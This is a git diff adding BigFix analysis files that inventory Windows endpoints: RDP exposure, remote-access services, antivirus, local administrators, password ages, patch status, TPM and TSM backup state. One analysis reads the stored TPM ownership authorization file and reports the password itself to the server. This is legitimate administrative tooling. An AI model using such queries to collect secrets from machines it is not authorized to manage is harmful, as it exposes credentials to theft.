+    <Property ID="31" Name="RDP Services Running?" EvaluationPeriod="PT1H"> if( exists services whose((service name of it as lowercase = &quot;TermService&quot; as lowercase ) AND (state of it= &quot;Running&quot;) )) AND (exists keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&quot; whose (exists values whose(name of it = &quot;fDenyTSConnections&quot; AND it as string as lowercase = &quot;1&quot; as lowercase ) of it) of registry) then &quot;Yes but denying connections&quot; else if( exists services whose((service name of it as lowercase = &quot;TermService&quot; as lowercase ) AND (state of it= &quot;Running&quot;)) ) AND (exists keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&quot; whose (exists values whose(name of it = &quot;fDenyTSConnections&quot; AND it as string as lowercase = &quot;0&quot; as lowercase ) of it) of registry) then &quot;Yes and allowing connections&quot; else &quot;No&quot;</Property>
+    <Property ID="32" Name="RDP Port" EvaluationPeriod="PT12H">Value &quot;PortNumber&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&quot; of registry</Property>
+    <Property ID="33" Name="RDP NLA Enabled?" EvaluationPeriod="PT1H">if (exists keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp&quot; Whose (exists values whose (name of it = &quot;UserAuthentication&quot; AND it as string as lowercase =&quot;1&quot; as lowercase) of it) of registry) then &quot;Yes&quot; else &quot;No&quot;</Property>
+    <Property ID="34" Name="RDP in use on defined port" EvaluationPeriod="PT0S">if exists (sockets of network) whose ((local port of it = Value &quot;PortNumber&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&quot; of registry) and (tcp state of it as string = &quot;ESTABLISHED&quot;)) Then &quot;Active&quot; else &quot;Not in use&quot;</Property>
+    <Property ID="35" Name="Incoming RDP Logs " EvaluationPeriod="PT6H">(preceding text of first &quot;%0d%0a&quot; of following text of first &quot;User: &quot; of description of it | &quot;Unknown&quot;, time generated of it, (if (it = 21) then (&quot;New Session&quot;) else (&quot;Resumed Session&quot;)) of (event id of it), following text of last &quot;: &quot; of description of it) of records ((integers in(item 0 of it + item 1 of it - 1,maximum of (item 0 of it + item 1 of it - 2000;item 1 of it))) of (record count of it, oldest record number of it)) whose (exists description of it and (event id of it = 21 or event id of it = 25) and description of it does not contain &quot;LOCAL&quot;) of event log &quot;Microsoft-Windows-TerminalServices-LocalSessionManager/Operational&quot;</Property>
+    <Property ID="36" Name="Telnet Client running?" EvaluationPeriod="PT1H">if exists running service &quot;TelnetClient&quot; then &quot;Yes&quot; else &quot;No&quot;</Property>
+    <Property ID="37" Name="Telnet Server Running" EvaluationPeriod="PT15M">if exists running service &quot;TelnetServer&quot; then &quot;Yes&quot; else &quot;No&quot;</Property>
+    <Property ID="38" Name="FTP Running?" EvaluationPeriod="PT15M">If( exists services whose((service name of it as lowercase = &quot;msftpsvc&quot; as lowercase ) AND (state of it= &quot;Running&quot;) OR (service name of it as lowercase = &quot;ftpsvc&quot; as lowercase ) AND (state of it= &quot;Running&quot;)) ) then &quot;Yes&quot; else &quot;No&quot;</Property>
+    <Property ID="39" Name="AntiVirus Installed" EvaluationPeriod="PT15M">if (exists running service  whose (service name of it = &quot;MsMpSvc&quot;)) then &quot;MS.System Endpoint Protection&quot; else if (exists running service whose (service name of it = &quot;WinDefend&quot;)) then &quot;Windows Defender&quot;  else if (exists running service whose (service name of it = &quot;SepMasterService&quot;)) then &quot;Symantec&quot; else if (exists running service whose (service name of it = &quot;Symantec AntiVirus&quot;)) then &quot;Symantec&quot; else if (exist running service whose (service name of it = &quot;avast! Antivirus&quot;)) then &quot;Avast&quot; else if (exists running service whose (service name of it = &quot;CmdAgent&quot;))then &quot;Comodo&quot; else if (exists running service whose (service name of it contains &quot;klnagent&quot;))then &quot;Kaspersky&quot; else if (exists running service whose (service name of it starts with &quot;Avg&quot; as lowercase))then &quot;AVG&quot; else if (exists running service whose (service name of it starts with &quot;ekrn&quot;))then &quot;Eset&quot;  else if (exists running service whose (service name of it starts with &quot;Avira&quot; as lowercase))then &quot;Avira&quot; else if (exists running service whose (service name of it starts with &quot;norton antivirus client&quot; as lowercase))then &quot;Norton&quot; else if (exists running service whose (service name of it starts with &quot;mcshield&quot; as lowercase))then &quot;McAfee&quot; else if (exists running service whose (service name of it starts with &quot;InoRT&quot; as lowercase))then &quot;Trend&quot; else if (exists running service whose (service name of it contains  &quot;MBAMService&quot; as lowercase))then &quot;MalwareBytes but may not be realtime &quot; else &quot;Investigate&quot;</Property>
+    <Property ID="40" Name="SQL Server running?" EvaluationPeriod="P1D"> if exists services whose((state of it= &quot;Running&quot;) AND ((service name of it as lowercase = &quot;MSSQL&quot; as lowercase ) OR (service name of it as lowercase starts with &quot;SQLBrowser&quot; as lowercase ) OR (service name of it as lowercase starts with &quot;SQLAgent&quot; as lowercase )) ) = True  Then &quot;Yes&quot; else &quot;No&quot;</Property>
+    <Property ID="41" Name="IIS Running?" EvaluationPeriod="PT1H">if exists running service &quot;W3SVC&quot; then &quot;Yes&quot; else &quot;No&quot;</Property>
+    <Property ID="42" Name="Apache/Tomcat Running?" EvaluationPeriod="PT1H">if (exists running application whose (name of it as lowercase = &quot;tomcat7.exe&quot; as lowercase OR name of it as lowercase = &quot;tomcat6.exe&quot; as lowercase ) )or ( exists services whose((service name of it as lowercase starts with &quot;Apache&quot; as lowercase ) AND (state of it= &quot;Running&quot;)) ) Then &quot;Yes&quot; Else &quot;No&quot;</Property>
+    <Property ID="43" Name="Windows last patch date" EvaluationPeriod="PT12H">preceding texts of last &quot; &quot; of preceding texts of last &quot; &quot; of (it as string) of (maximum of last write times of keys whose (name of it contains &quot;.KB&quot; or name of it contains &quot;KB&quot; or name of it starts with &quot;KB&quot;) of keys( &quot;HKEYLOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\&quot;;&quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\&quot;;&quot;HKEY_LOCAL_MACHINE \Software\Microsoft\WindowsNT\CurrentVersion\Hotfix&quot;) of (registry; native registry))</Property>
+    <Property ID="44" Name="Version of 32 Bit Java" EvaluationPeriod="PT6H">(concatenations &quot;, &quot; whose(it != &quot;&quot;) of names of keys of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\JavaSoft\Java Runtime Environment&quot; of registry)</Property>
+    <Property ID="45" Name="Version of 64 Bit Java" EvaluationPeriod="PT6H">(concatenations &quot;, &quot; whose(it != &quot;&quot;) of names of keys of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\JavaSoft\Java Runtime Environment&quot; of x64 registry)</Property>
+    <Property ID="46" Name="Number of Local Admins" EvaluationPeriod="PT1H">number of members of local group &quot;administrators&quot;</Property>
+    <Property ID="47" Name="Names of Administrators Group" EvaluationPeriod="PT30M">members of local group &quot;Administrators&quot;</Property>
+    <Property ID="48" Name="Local Users accounts and Password expiration status" EvaluationPeriod="P1D">(name of it &amp; (if (account disabled flag of it = TRUE) then &quot; - Disabled&quot; else &quot; - Enabled&quot;) &amp; (if (password expiration disabled flag of it = TRUE) then &quot; No Password expiration&quot; else &quot;&quot;)) of local users</Property>
+    <Property ID="49" Name="Password age of local users" EvaluationPeriod="P1D">(name of it &amp; &quot; - &quot; &amp; password age of it as string) of local users</Property>
+    <Property ID="50" Name="IE Proxy Server Status" EvaluationPeriod="PT1H">if (exists key &quot;SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings&quot; whose (value &quot;ProxyEnable&quot; of it as integer = 1) of current user keys (logged on users) of registry) then &quot;Manual Proxy Enabled&quot;  else &quot;Automatically Detect&quot;</Property>
+    <Property ID="51" Name="IE Proxy Server &amp; Port" EvaluationPeriod="PT15M">if (exists key &quot;SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings&quot; whose (exists value &quot;ProxyServer&quot; of it) of current user keys (logged on users) of registry) then (values &quot;ProxyServer&quot; of key &quot;SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings&quot; of current user keys (logged on users) of registry as string) else (&quot;not configured&quot;)</Property>
+    <Property ID="52" Name="DNS Servers" EvaluationPeriod="P1D">addresses of dns servers of network</Property>
+    <Property ID="53" Name="Wireless SSID" EvaluationPeriod="P1D">if version of client &gt;=&quot;9.0&quot; then ssids of wifis of adapters of network else &quot;N/A&quot;</Property>
+    <Property ID="54" Name="Wireless Encryption Status" EvaluationPeriod="PT6H">if version of client &gt;=&quot;9.0&quot; then encryptions of wifis of adapters of network else &quot;N/A&quot;</Property>
+    <Property ID="55" Name="PPP Enabled" EvaluationPeriod="P1D">exists ip interface whose (point to point of it = true) of networks</Property>
+    <Property ID="56" Name="Scope of Remote Desktop Firewall" EvaluationPeriod="P1D">if exists (rules of firewall) whose (name of it as string starts with &quot;Remote Desktop&quot; or name of it contains &quot;RDP&quot;) then (remote addresses strings of (rules of firewall) whose (name of it as string starts with &quot;Remote Desktop&quot; or name of it contains &quot;RDP&quot;)) else &quot;No rule named RDP or Remote Desktop&quot; </Property>
+    <Property ID="57" Name="IP of Remote Desktop connection" EvaluationPeriod="PT0S">unique values of (remote addresses of (sockets of network) whose ((local port of it =  Value &quot;PortNumber&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&quot; of registry) and (tcp state of it as string= &quot;ESTABLISHED&quot;))) </Property>
+    <Property ID="58" Name="SSH Running? (port 22)" EvaluationPeriod="PT0S">if exists (sockets of network) whose ((local port of it = 22) and (tcp state of it as string = &quot;ESTABLISHED&quot;)) Then &quot;Active&quot; else &quot;Not in use&quot;</Property>
+    <Property ID="59" Name="IP of Remote SSH Connection (Port 22)" EvaluationPeriod="PT0S">unique values of (remote addresses of (sockets of network) whose ((local port of it = 22) and (tcp state of it as string= &quot;ESTABLISHED&quot;)))</Property>
+    <Property ID="60" Name="Winlogbeat Installed?" EvaluationPeriod="PT30M">if (exists services whose ((service name of it = &quot;winlogbeat&quot;) and (state of it = &quot;Running&quot;))) Then &quot;Yes and Running&quot; else if (exists services whose ((service name of it = &quot;winlogbeat&quot;) and (state of it !=  &quot;Running&quot;))) then &quot;Yes but not running&quot; else &quot;Not Installed&quot;</Property>
+    <Property ID="61" Name="Established TCP and UDP Connections" EvaluationPeriod="PT0S">names of processes  of sockets whose ( established of tcp state of it and local port of it = Value &quot;PortNumber&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&quot; of registry) of network </Property>
+    <Property ID="62" Name="IE Automatic Configuration Script URL" EvaluationPeriod="PT1H">If Exists value &quot;AutoConfigURL&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\iphlpsvc\Parameters\ProxyMgr&quot; of registry then value &quot;AutoConfigURL&quot; of keys of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\iphlpsvc\Parameters\ProxyMgr&quot; of registry as string Else &quot;Not used for any profiles&quot;</Property>
+    <Property ID="63" Name="Last Logged in User" EvaluationPeriod="PT1H">if (name of operating system as lowercase contains &quot;win&quot;) then (if ((name of operating system as lowercase contains &quot;xp&quot;) or (name of operating system as lowercase contains &quot;win2003&quot;)) then (if not exist keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultUserName&quot; of (if x64 of operating system then (x64 registry;x32 registry) else registry) then values &quot;DefaultUserName&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\&quot; of (if x64 of operating system then (x64 registry;x32 registry) else registry) as string else &quot;No User Logged&quot;) else (if NOT exist keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\LastLoggedOnUser&quot; of (if x64 of operating system then (x64 registry;x32 registry) else registry) then values &quot;LastLoggedOnUser&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\&quot; of (if x64 of operating system then (x64 registry;x32 registry) else registry) as string else &quot;No User Logged&quot;)) else (&quot;Not Win&quot;)</Property>
+    <Property ID="64" Name="Names of Users in Remote Desktop Group" EvaluationPeriod="PT30M">members of local group &quot;Remote Desktop Users&quot;</Property>
+    <Property ID="65" Name="Warning: Number of patches missing" EvaluationPeriod="PT5M"> number of relevant fixlets whose(exists values whose(&quot;Important&quot; = it OR &quot;Critical&quot; = it) of headers &quot;X-Fixlet-Source-Severity&quot; of it AND not exists values whose(it contains &quot; (Superseded)&quot;) of headers &quot;Subject&quot; of it AND exists (current date - it) whose(it &gt; 30 * day) of (it as date) of values whose(exists it as date) of headers &quot;X-Fixlet-Source-Release-Date&quot; of it) of sites whose(&quot;Fixlet Site&quot; = type of it AND exists names whose(it starts with &quot;Updates for &quot; OR it starts with &quot;Patches for&quot; OR it = &quot;Enterprise Security&quot;) of it)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/TPM - Ownership Authorization - Windows (2998307).bes b/Sites/Windows Management/Fixlets/Analyses/TPM - Ownership Authorization - Windows (2998307).bes
new file mode 100644
index 000000000..6ca73bc10
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/TPM - Ownership Authorization - Windows (2998307).bes	
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : TPM - Ownership Authorization - Windows
+  ID       : 2998307
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-07-19T18:04:18
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>TPM - Ownership Authorization - Windows</Title>
+    <Description>Grabs the ownership authorization password set when provisioning the TPM on the device.</Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists (file whose (name of it contains &quot;TPMOwnerAuthorization&quot;) of folder &quot;BitLocker&quot; of folder &quot;__Global&quot; of data folder of client)</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="TPM - Ownership Password - Windows" EvaluationPeriod="P1D">(preceding text of first &quot;-&quot; of name of it &amp; &quot;:&quot;, following text of first &quot;%ff%fe&quot; of concatenations &quot;&quot; of substrings separated by &quot;%00&quot; of lines of it) of files whose (Name of it contains &quot;TPMOwnerAuthorization.txt&quot;) of folder &quot;BitLocker&quot; of folder &quot;__Global&quot; of data folder of client</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/TPM - Windows (2998504).bes b/Sites/Windows Management/Fixlets/Analyses/TPM - Windows (2998504).bes
new file mode 100644
index 000000000..7afb79c8e
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/TPM - Windows (2998504).bes	
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : TPM - Windows
+  ID       : 2998504
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-12-21T09:25:34
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>TPM - Windows</Title>
+    <Description><![CDATA[This analysis provides information on the current state of the Trusted Platform Module
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="TPM - Enabled in OS - Windows" EvaluationPeriod="P1D">if (exists wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; and exists selects &quot;* from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot;) then (if (boolean value of select &quot;IsEnabled_InitialValue from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; = true) then &quot;Enabled&quot; ELSE &quot;Disabled&quot;) else ERROR &quot;TPM not visible to OS&quot;</Property>
+    <Property ID="2" Name="TPM - Activated in OS - Windows" EvaluationPeriod="P1D">if (exists wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; and exists selects &quot;* from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot;) then (if (boolean value of select &quot;IsActivated_InitialValue from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; = true) then &quot;Activated&quot; ELSE &quot;Not Activated&quot;) else ERROR &quot;TPM not visible to OS&quot;</Property>
+    <Property ID="3" Name="TPM - Owned in OS - Windows" EvaluationPeriod="P1D">if (exists wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; and exists selects &quot;* from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot;) then (if (boolean value of select &quot;IsActivated_InitialValue from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot; = true) then &quot;Owned&quot; ELSE &quot;Not Owned&quot;) else ERROR &quot;TPM not visible to OS&quot;</Property>
+    <Property ID="4" Name="TPM - Visible to OS - Windows" EvaluationPeriod="P1D">exists selects &quot;* from Win32_Tpm&quot; of wmi &quot;root\CIMV2\Security\MicrosoftTpm&quot;</Property>
+    <Property ID="5" Name="TPM - Version - Windows" EvaluationPeriod="P1D">tuple string item 0 of string value of selects &quot;SpecVersion from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/TSM Backup Audit - Windows.bes b/Sites/Windows Management/Fixlets/Analyses/TSM Backup Audit - Windows.bes
new file mode 100644
index 000000000..67a3b6ea1
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/TSM Backup Audit - Windows.bes	
@@ -0,0 +1,55 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : TSM Backup Audit - Windows
+  ID       : 94
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2013-04-26T16:28:14
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>TSM Backup Audit - Windows</Title>
+    <Description><![CDATA[See <A HREF="http://bigfix.me/analysis/details/2994716">http://bigfix.me/analysis/details/2994716</A> for a later, more dynamic, but much more complex version of this analysis. In the newer version I dynamically locate TSM services, DSM.OPT files, and dsmsched.log files, and get more result details out of the logs. I also check for a dsmsched.log.bak file if the dsmsched.log is locked and unreadable.
+
+<P>Report on Windows TSM Statuses.</P>
+<P>Taken with thanks from JGStew at bigfix.me</P>
+<P>Learn more about this analysis online: <A href="http://bigfix.me/cdb/analysis/62">http://bigfix.me/cdb/analysis/62</A><BR></P>
+<P>Customized slightly by Jason Walker, 2013-04-22; added TSM Client Acceptor to services list for relevance; fixed some issues with tabs and comments ("*") and trimming the results.<BR></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(exists key whose(&quot;IBM Tivoli Storage Manager Client&quot; = value &quot;DisplayName&quot; of it) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of native registry) OR (exists file &quot;C:\Program Files\Tivoli\TSM\baclient\dsmsched.log&quot;) OR (exists file &quot;C:\Program Files\Tivoli\TSM\baclient\tsmstats.ini&quot;) OR (exists file &quot;C:\Program Files\Tivoli\TSM\baclient\dsm.opt&quot;) OR (exists file &quot;C:\Program Files\Tivoli\TSM\baclient\dsmcrash.log&quot;) OR (exists file &quot;C:\Program Files\Tivoli\TSM\baclient\dsm.exe&quot;) OR (exists service &quot;TSM Scheduler Service&quot;) OR (exists service &quot;TSM Client Acceptor&quot;)</Relevance>
+    <MIMEField>
+      <Name>bigfixme-added-time</Name>
+      <Value>Mon, 10 Dec 2012 07:35:02 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-modification-time</Name>
+      <Value>Mon, 10 Dec 2012 07:35:02 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-keywords</Name>
+      <Value>TSM, Backup Audit, Tivoli Storage Manager</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 26 Apr 2013 21:30:59 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Exists TSM sched log?" EvaluationPeriod="PT12H">exists file &quot;C:\Program Files\Tivoli\TSM\baclient\dsmsched.log&quot;</Property>
+    <Property ID="3" Name="Last Sched Success - ERROR" EvaluationPeriod="P7D">if(not exists file &quot;C:\Program Files\Tivoli\TSM\baclient\dsmsched.log&quot;) then &quot;&lt;dsmsched log missing&gt;&quot; else if(not exists file &quot;C:\Program Files\Tivoli\TSM\baclient\dsmsched.log&quot; whose(exists lines of it)) then &quot;&lt;file locked by TSM&gt;&quot; else ((lines whose(it contains &quot;&apos; completed successfully.&quot; AND it contains &quot; Scheduled event &apos;&quot; AND line number of it = (maximum of line numbers of lines whose(it contains &quot;&apos; completed successfully.&quot; AND it contains &quot; Scheduled event &apos;&quot;) of file &quot;C:\Program Files\Tivoli\TSM\baclient\dsmsched.log&quot;)) of file &quot;C:\Program Files\Tivoli\TSM\baclient\dsmsched.log&quot;) as string)</Property>
+    <Property ID="4" Name="TSM version installed" EvaluationPeriod="P1D">if(not exists key whose(&quot;IBM Tivoli Storage Manager Client&quot; = value &quot;DisplayName&quot; of it) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of native registry) then &quot;&lt;TSM not installed&gt;&quot; else if(not exists key whose(&quot;IBM Tivoli Storage Manager Client&quot; = value &quot;DisplayName&quot; of it AND exists value &quot;DisplayVersion&quot; of it) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of native registry) then &quot;&lt;TSM dv reg entry missing&gt;&quot; else (value &quot;DisplayVersion&quot; of key whose(&quot;IBM Tivoli Storage Manager Client&quot; = value &quot;DisplayName&quot; of it AND exists value &quot;DisplayVersion&quot; of it) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of native registry as string)</Property>
+    <Property ID="5" Name="Last Successful Backup" EvaluationPeriod="PT6H">if(not exists file &quot;C:\Program Files\Tivoli\TSM\baclient\tsmstats.ini&quot;) then &quot;&lt;tsmstats file missing&gt;&quot; else (modification time of file &quot;C:\Program Files\Tivoli\TSM\baclient\tsmstats.ini&quot; as string)</Property>
+    <Property ID="8" Name="Num of crashes" EvaluationPeriod="P1D">if(not exists file &quot;C:\Program Files\Tivoli\TSM\baclient\dsmcrash.log&quot;) then &quot;&lt;no dsmcrash log&gt;&quot; else (number of lines whose (it contains &quot;IBM Tivoli Storage Manager&quot;) of file &quot;C:\Program Files\Tivoli\TSM\baclient\dsmcrash.log&quot; as string)</Property>
+    <Property ID="9" Name="Client exe Version" EvaluationPeriod="P1D">if(not exists file &quot;C:\Program Files\Tivoli\TSM\baclient\dsm.exe&quot;) then &quot;&lt;dsm.exe missing&gt;&quot; else if(not exists version of file &quot;C:\Program Files\Tivoli\TSM\baclient\dsm.exe&quot;) then &quot;&lt;dsm.exe version missing&gt;&quot; else (version of file &quot;C:\Program Files\Tivoli\TSM\baclient\dsm.exe&quot; as string)</Property>
+    <Property ID="10" Name="Last crash?" EvaluationPeriod="P1D">if(not exists file &quot;C:\Program Files\Tivoli\TSM\baclient\dsmcrash.log&quot;) then &quot;&lt;dsmcrash log missing&gt;&quot; else (modification time of file &quot;C:\Program Files\Tivoli\TSM\baclient\dsmcrash.log&quot; as string)</Property>
+    <Property ID="11" Name="VC++2010x86?" EvaluationPeriod="P1D">exists key whose (value &quot;DisplayName&quot; of it as string contains &quot;Microsoft Visual C++ 2010&quot; AND (it &gt;= &quot;10.0.40219&quot; as version) of (value &quot;DisplayVersion&quot; of it as string as version)) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of x32 registry</Property>
+    <Property ID="12" Name="VC++2010x64?" EvaluationPeriod="P1D">if (x64 of operating system AND exists x64 registry) then (exists key whose (value &quot;DisplayName&quot; of it as string contains &quot;Microsoft Visual C++ 2010&quot; AND (it &gt;= &quot;10.0.40219&quot; as version) of (value &quot;DisplayVersion&quot; of it as string as version)) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of x64 registry) as string else &quot;&lt;n/a - 32bit Machine&gt;&quot;</Property>
+    <Property ID="13" Name="TSM Sched Service Running?" EvaluationPeriod="PT6H">exists running service &quot;TSM Scheduler Service&quot;</Property>
+    <Property ID="2" Name="Last Activity in TSM" EvaluationPeriod="PT6H">if(not exists file &quot;C:\Program Files\Tivoli\TSM\baclient\dsmsched.log&quot;) then &quot;&lt;dsmsched log missing&gt;&quot; else (modification time of file &quot;C:\Program Files\Tivoli\TSM\baclient\dsmsched.log&quot; as string)</Property>
+    <Property ID="6" Name="TSM Server" EvaluationPeriod="P1D">if(not exists file &quot;C:\Program Files\Tivoli\TSM\baclient\dsm.opt&quot;) then &quot;&lt;no dsm opt&gt;&quot; else if(not exists line whose(it as uppercase contains &quot;TCPSERVERADDRESS&quot;) of file &quot;C:\Program Files\Tivoli\TSM\baclient\dsm.opt&quot;) then &quot;&lt;no tcpserveraddress&gt;&quot; else (  following text of first &quot;TCPSERVERADDRESS&quot; of  (it as uppercase) of  line whose(   (   if it does not contain &quot;*&quot; then it else preceding text of first &quot;*&quot; of it) as uppercase contains  &quot;TCPSERVERADDRESS&quot;  )   of file &quot;C:\Program Files\Tivoli\TSM\baclient\dsm.opt&quot; as trimmed string)</Property>
+    <Property ID="7" Name="TSM Node Name" EvaluationPeriod="P2D">if(not exists file &quot;C:\Program Files\Tivoli\TSM\baclient\dsm.opt&quot;) then &quot;&lt;no dsm opt&gt;&quot; else if(not exists line whose( (if it does not contain &quot;*&quot; then it else preceding text of first &quot;*&quot; of it) as uppercase contains &quot;NODENAME&quot;) of file &quot;C:\Program Files\Tivoli\TSM\baclient\dsm.opt&quot;) then &quot;&lt;no nodename&gt;&quot; else ( following text of first &quot;NODENAME&quot; of (it as uppercase) of line whose( ( if it does not contain &quot;*&quot; then it else preceding text of first &quot;*&quot; of it) as uppercase contains &quot;NODENAME&quot; ) of file &quot;C:\Program Files\Tivoli\TSM\baclient\dsm.opt&quot; as trimmed string)</Property>
+    <Property ID="14" Name="TSM Client Acceptor Service Running?" EvaluationPeriod="PT6H">exists running service &quot;TSM Client Acceptor&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Temp Folders, Logs, etc... - Windows (2994784).bes b/Sites/Windows Management/Fixlets/Analyses/Temp Folders, Logs, etc... - Windows (2994784).bes
new file mode 100644
index 000000000..447390ebd
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Analyses/Temp Folders, Logs, etc... - Windows (2994784).bes	
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Temp Folders, Logs, etc... - Windows
+  ID       : 2994784
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-06T09:07:47
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Temp Folders, Logs, etc... - Windows</Title>
+    <Description><![CDATA[<P>&nbsp;</P>
+<P>The latest version of this Analysis can be found here: &nbsp;<A href="http://bigfix.me/analysis/details/2994620"><FONT color=#000080>http://bigfix.me/analysis/details/2994620</FONT></A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 01 Jul 2014 16:05:36 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Temp Folders" EvaluationPeriod="PT6H">(folders &quot;Temp&quot; of windows folder;folders &quot;C:\temp&quot;; folders &quot;C:\ProgramData\TEMP&quot;; folders &quot;AppData\Local\Temp&quot; of folders whose(exists folder &quot;AppData\Local\Temp&quot; of it) of folders &quot;C:\Users&quot;; folders &quot;C:\Program Files (x86)\BigFix Enterprise\BES Client&quot;; folders &quot;C:\Program Files\BigFix Enterprise\BES Client&quot;)</Property>
+    <Property ID="2" Name="Log Files" EvaluationPeriod="P2D">pathnames of descendants whose(name of it as lowercase ends with &quot;.log&quot;) of (folders &quot;Temp&quot; of windows folder;folders &quot;C:\temp&quot;; folders &quot;C:\ProgramData\TEMP&quot;; folders &quot;AppData\Local\Temp&quot; of folders whose(exists folder &quot;AppData\Local\Temp&quot; of it) of folders &quot;C:\Users&quot;; folders &quot;C:\Program Files (x86)\BigFix Enterprise\BES Client&quot;; folders &quot;C:\Program Files\BigFix Enterprise\BES Client&quot;; folders &quot;C:\Windows\Logs&quot;)</Property>
